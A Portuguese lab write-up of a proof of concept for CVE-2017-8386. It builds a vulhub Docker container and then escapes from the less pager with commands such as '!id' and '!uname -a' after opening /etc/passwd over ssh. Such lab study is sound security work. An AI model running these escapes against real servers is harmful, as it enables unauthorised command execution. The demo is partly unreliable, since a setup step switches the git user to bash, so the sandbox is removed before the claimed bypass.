
PoC para a vulnerabilidade de bypass do sandbox do Git-Shell CVE-2017-8386.
정수진(@suz1n)
O Git-shell fornece um ambiente que permite apenas comandos git restritos via SSH. No entanto, em certas versões do git-shell (como 2.12.2), existe uma vulnerabilidade (CVE-2017-8386) que permite abusar do comando less para contornar a sandbox e executar comandos do sistema.
Este relatório realiza um PoC para esta vulnerabilidade e resume o processo.
git clone https://github.com/phith0n/vulhub.git
cd vulhub/git/CVE-2017-8386/

• Imagem base Ubuntu 16.04
• Instalação do Git 2.12.2 a partir do código fonte
• Instalação e execução do servidor OpenSSH
• Configuração do ambiente git-shell (criação do usuário git)
docker-compose build
docker-compose up -d
docker ps
• Verificar execução do contêiner (git-shell-cve-2017-8386)

1. Gerar e copiar id_rsa.pub localmente
2. Acessar o contêiner e mudar para o usuário git
3. Registrar authorized_keys
docker exec -it git-shell-cve-2017-8386 /bin/bash
chsh -s /bin/bash git
su git
mkdir -p ~/.ssh
chmod 700 ~/.ssh
touch ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
vim ~/.ssh/authorized_keys

apt update
apt install less -y
apt install man-db -y
• Instalação dos pacotes less e man concluída para execução do PoC
ssh -p 3322 -i id_rsa -t [email protected] "less /etc/passwd"
• Entrada na tela less bem-sucedida
• Possibilidade de executar comandos do sistema através do comando !
• !id -> Exibe ID do usuário, ID do grupo

• !whoami -> Usuário atual (git)
• !uname -a -> Exibe informações do kernel do sistema
• !ls /home/git -> Lista arquivos do diretório home do git
• O ambiente git-shell restringe o usuário de executar comandos do sistema.
• No entanto, é possível invocar o less internamente através do comando `git-upload-archive --help`.
• O comando less suporta a execução de comandos de shell do sistema através da funcionalidade !.
• Consequentemente, é possível contornar a sandbox do git-shell e executar comandos arbitrários.
• Insinuator 블로그: https://insinuator.net/2017/05/git-shell-bypass-by-abusing-less-cve-2017-8386/
• Vulhub GitHub Repository: https://github.com/phith0n/vulhub